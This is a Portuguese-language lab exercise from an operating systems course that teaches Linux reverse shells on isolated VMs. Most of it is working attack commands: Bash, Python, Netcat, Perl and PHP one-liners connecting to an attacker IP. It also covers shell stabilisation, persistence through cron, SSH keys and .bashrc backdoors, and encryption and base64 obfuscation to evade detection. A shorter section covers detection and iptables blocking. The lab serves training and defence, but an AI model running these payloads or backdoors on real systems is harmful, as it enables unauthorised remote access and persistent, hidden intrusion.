Lab 9.2: Reverse Shell Linux
Objetivos de Aprendizagem
Ao final deste laboratório, você será capaz de:
- Criar reverse shells Linux com diferentes técnicas
- Utilizar Bash, Python, Netcat para estabelecer shells
- Estabilizar um shell básico em um shell TTY completo
- Compreender os one-liners de reverse shell
- Estabelecer persistência com reverse shells
- Detectar e bloquear reverse shells Linux
- Entender as diferenças entre shells Linux e Windows
Duração Estimada
30 minutos
Pré-requisitos
- 2 VMs: Kali Linux (atacante) + Ubuntu/Debian (alvo)
- Rede interna configurada
- Compreensão do Lab 3.2 (Reverse Shell Windows)
- Lab 9.1 (escalonamento de privilégio Linux) concluído
Contexto Profissional
Os reverse shells Linux são usados por:
- Pentesters após exploração inicial (web shell, SSH comprometido)
- Malwares Linux para comunicação C2
- Grupos APT para manutenção de acesso de longo prazo
- Red Teams para simulações de ataques
Usado após:
- Exploração de vulnerabilidade web (RCE)
- Exploração de serviço Linux
- Sucesso em brute force SSH
- Credential stuffing
AVISO ÉTICO E LEGAL
Estabelecer um reverse shell em um sistema sem autorização = Acesso não autorizado.
AUTORIZADO:
- VMs de laboratório isoladas
- Testes autorizados com contrato
- Plataformas legais (HTB, THM)
PROIBIDO:
- Servidores reais sem permissão
- Manter acesso não autorizado
Consequências: Crime informático (Código Penal art. 342.1).
Parte 1: Reverse Shell Bash
One-Liner Clássico
Na VM Atacante (Kali), escute:
nc -lvnp 4444
Na VM Vítima (Ubuntu), execute:
bash -i >& /dev/tcp/192.168.100.10/4444 0>&1
Explicação detalhada:
bash -i # Shell interativo
>& # Redirecionamento stdout e stderr
/dev/tcp/IP/PORT # Dispositivo especial bash para conexões TCP
0>&1 # Redirecionamento stdin
BOOM! Conexão estabelecida!
No Kali, você vê:
listening on [any] 4444 ...
connect to [192.168.100.10] from (UNKNOWN) [192.168.100.20] 54321
user@target:~$
Shell completo da vítima!
Perguntas:
- A conexão reverse shell foi estabelecida?
- Qual a diferença para o reverse shell Windows?
Parte 2: Variações de Reverse Shells
Python Reverse Shell
Versão Python 2:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.100.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
Versão Python 3:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.100.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Vantagem: Funciona mesmo se /dev/tcp não estiver disponível
Netcat Reverse Shell
Se netcat disponível no alvo:
nc 192.168.100.10 4444 -e /bin/bash
Se nc sem opção -e (versão BSD):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.100.10 4444 >/tmp/f
Perl Reverse Shell
perl -e 'use Socket;$i="192.168.100.10";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
PHP Reverse Shell
Se PHP disponível:
php -r '$sock=fsockopen("192.168.100.10",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
Perguntas: 3. Qual método funciona no seu sistema alvo? 4. Qual você prefere e por quê?
Parte 3: Estabilização do Shell
Problema dos Shells Básicos
Shell básico tem limitações:
- Sem autocompletar (Tab)
- Sem histórico (setas cima/baixo)
- Sem limpar tela (Ctrl+L)
- Ctrl+C mata o shell
- vi/nano não funcionam
Método 1: Python PTY
No reverse shell, execute:
python3 -c 'import pty; pty.spawn("/bin/bash")'
OU:
python -c 'import pty; pty.spawn("/bin/bash")'
Resultado: Shell interativo básico
Depois, para shell COMPLETO:
# No shell
export TERM=xterm
# Depois, pressione Ctrl+Z (coloca em background)
Na sua máquina atacante (Kali):
stty raw -echo; fg
Depois pressione Enter 2 vezes
BOOM! Shell TTY completo!
Teste:
- Tab para autocompletar
- Setas para histórico
- Ctrl+L para limpar
- vi/nano funcionam!
Método 2: Script Command
script /dev/null -c bash
Shell interativo imediato!
Método 3: Expect
expect -c 'spawn bash; interact'
Perguntas: 5. Você conseguiu estabilizar o shell? 6. Quais funcionalidades funcionam agora?
Parte 4: Persistência Linux
Cron Job para Reconexão Automática
Criar script de reconexão:
echo '#!/bin/bash' > /tmp/reverse.sh
echo 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1' >> /tmp/reverse.sh
chmod +x /tmp/reverse.sh
Adicionar ao crontab:
(crontab -l 2>/dev/null; echo "* * * * * /tmp/reverse.sh") | crontab -
Execução: A cada minuto!
Verificar:
crontab -l
SSH Key Backdoor
Adicionar sua chave SSH:
mkdir -p /home/user/.ssh
echo "ssh-rsa AAAA... sua_chave_publica" >> /home/user/.ssh/authorized_keys
chmod 600 /home/user/.ssh/authorized_keys
Conexão futura:
ssh user@192.168.100.20
Acesso permanente sem senha!
Bashrc Backdoor
Adicionar ao .bashrc:
echo 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1 &' >> /home/user/.bashrc
Toda vez que o usuário abre um terminal: Reverse shell!
Perguntas: 7. A persistência via cron está funcionando? 8. Como detectar esses backdoors?
Parte 5: Criptografia e Ofuscação
Reverse Shell Criptografado
Com OpenSSL:
Atacante (escuta com SSL):
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
Vítima (conexão SSL):
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.100.10:4444 > /tmp/s; rm /tmp/s
Comunicação criptografada! IDS/IPS mais difícil de detectar.
Ofuscação Base64
Codificar o payload:
echo 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1' | base64
Resultado:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMC80NDQ0IDA+JjEK
Execução:
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMC80NDQ0IDA+JjEK | base64 -d | bash
Menos suspeito nos logs!
Perguntas: 9. O shell criptografado funcionou? 10. Por que a ofuscação é útil?
Parte 6: Detecção e Defesa
Detectar Conexões de Saída
Listar conexões ativas:
netstat -antup | grep ESTABLISHED
ss -tunap
lsof -i
Procurar bash/sh com conexões de rede:
ps aux | grep bash
lsof -i -a -c bash
Se bash tem conexão TCP de saída: Suspeito!
Bloquear com iptables
Bloquear conexões de saída exceto autorizadas:
iptables -P OUTPUT DROP
iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
Reverse shells bloqueados!
Monitoramento com auditd
Monitorar execução de bash:
auditctl -a always,exit -F arch=b64 -S execve -F path=/bin/bash
Logs em: /var/log/audit/audit.log
Perguntas: 11. Você detectou o reverse shell com netstat? 12. O iptables bloqueou a conexão?
Entregáveis
- Relatório com diferentes métodos de reverse shell testados
- Shell estabilizado e funcional
- Persistência configurada e testada
- Detecção e bloqueio demonstrados
Comandos de Referência
Reverse Shells
# Bash
bash -i >& /dev/tcp/IP/PORT 0>&1
# Python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
# Netcat
nc IP PORT -e /bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc IP PORT >/tmp/f
Estabilização
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg
Persistência
(crontab -l; echo "* * * * * /tmp/reverse.sh") | crontab -
echo 'chave_ssh' >> ~/.ssh/authorized_keys
echo 'payload' >> ~/.bashrc
Conclusão
Técnicas dominadas:
- Reverse shells Linux por múltiplos métodos
- Estabilização TTY completa
- Persistência via cron, SSH, bashrc
- Criptografia e ofuscação
- Detecção e defesa
Diferenças Linux vs Windows:
- Linux: Mais métodos nativos (bash, python pré-instalados)
- Estabilização mais fácil (PTY)
- Detecção similar (netstat, monitoramento)
Lab desenvolvido no âmbito do curso Sistemas Operacionais - MÓDULO 9